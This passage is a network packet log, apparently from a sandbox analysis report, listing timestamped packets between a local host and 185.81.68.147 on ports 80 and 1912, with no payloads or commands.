Dec 14, 2024 14:56:33.726135015 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.727255106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.727348089 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.727420092 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.728363991 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.728444099 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.728512049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.729548931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.729609013 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.729664087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.730767012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.730865002 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.730927944 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.731925011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.732040882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.732108116 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.733150005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.733197927 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.733216047 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.734297037 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.734369040 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.734388113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.735533953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.735543966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.735586882 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.736639977 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.736679077 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.736745119 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.867635965 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.867679119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.867799997 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.868043900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.868100882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.868244886 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.869225025 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.869369030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.869404078 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.870426893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.870502949 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.870534897 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.871593952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.871699095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.871820927 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.872769117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.872894049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.872980118 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.874093056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.874147892 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.874157906 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.875144005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.875276089 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.875354052 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.876302958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.876394987 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.876435995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.877609968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.877650976 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.877731085 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.878700018 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.878817081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.879878998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.879965067 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.880012035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.881066084 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.881160021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.882311106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.882401943 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.882529020 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.883445024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.883519888 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.883570910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.884615898 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.884701014 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.884717941 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.885817051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.885915041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.885993958 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.886970043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.887044907 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.887094975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.888159990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.888243914 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.888266087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.889339924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.889452934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.890274048 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.890573978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.890634060 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.890711069 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.891712904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.891818047 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.891920090 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.892895937 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.892965078 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.893022060 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.894129038 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.894223928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.894299984 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.895298004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.895371914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.895428896 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.896445990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.896518946 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.896553040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.897624969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.897703886 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.897735119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.898787975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.898909092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.899087906 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.899991989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.900105953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.900168896 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.901177883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.901305914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.902350903 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.902420998 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.902431965 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.903553009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.903633118 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.903721094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.904721022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.904831886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.905909061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.905981064 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.906021118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.907212973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.907346010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.907428026 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.908570051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.908690929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.909452915 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.909523964 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.909569025 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.910640001 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.910713911 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.910759926 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.911833048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.911994934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.912064075 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.913036108 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.913058996 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.914187908 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.914324045 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.914339066 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.915440083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.915497065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.915560007 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.916544914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.916640043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.917763948 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.917834997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.918003082 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.919091940 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.919146061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.919743061 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.920156956 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.920315027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.921309948 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.921396971 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.921406984 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.922508001 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.922600985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.922673941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.923655033 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.923791885 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.923862934 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.924892902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.924963951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.926055908 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.926125050 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.926196098 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.927207947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.927289009 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.927330971 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.928416014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.928492069 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.928545952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.929567099 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.929672003 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.997616053 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.005139112 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.059478045 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.059586048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.059739113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.059829950 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.059866905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.059948921 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.060930967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.061070919 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.061151028 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.062158108 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.062299967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.062408924 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.063302994 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.063417912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.063509941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.064492941 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.064625978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.064795971 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.065690041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.065756083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.065939903 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.066881895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.067029953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.067121983 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.068025112 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.068201065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.068295002 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.069216013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.069344044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.069436073 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.070446014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.070581913 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.071597099 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.071683884 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.071710110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.071787119 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.072788000 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.072923899 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.073039055 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.073961020 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.074090958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.074253082 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.075123072 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.075242043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.075406075 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.076378107 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.076431036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.076662064 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.077913046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.078032970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.078236103 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.079351902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.079479933 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.079582930 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.080183983 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.080235958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.080291986 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.081042051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.081238985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.081315994 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.082227945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.082351923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.082467079 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.083426952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.083530903 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.083666086 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.084650040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.084769011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.085823059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.085891008 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.085963011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.086025953 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.086999893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.087132931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.087209940 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.088159084 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.088352919 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.088411093 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.089339972 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.089472055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.089771032 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.090538979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.090648890 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.090907097 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.091820955 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.091976881 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.092037916 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.092892885 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.093089104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.093295097 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.094063997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.094197035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.094333887 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.095241070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.095479965 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.095566034 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.096416950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.096563101 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.096771955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.097641945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.097712994 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.097804070 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.098774910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.098901033 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.098961115 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.099971056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.100071907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.100188971 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.101193905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.101311922 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.101468086 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.102379084 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.102482080 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.102555990 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.103534937 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.103662968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.103732109 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.104753017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.104912043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.104969978 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.106014013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.106143951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.106208086 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.107273102 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.107383966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.107496977 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.108297110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.108443022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.108517885 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.109448910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.109584093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.109857082 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.110618114 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.110714912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.110836983 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.111856937 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.111990929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.112056017 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.112987995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.113114119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.113172054 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.114175081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.114286900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.114586115 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.115370035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.115493059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.115557909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.116549969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.116697073 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.116764069 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.117748022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.117871046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.117933035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.118906975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.118959904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.119086027 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.120161057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.120254993 CET	80	49888	185.81.68.147	192.168.2.5
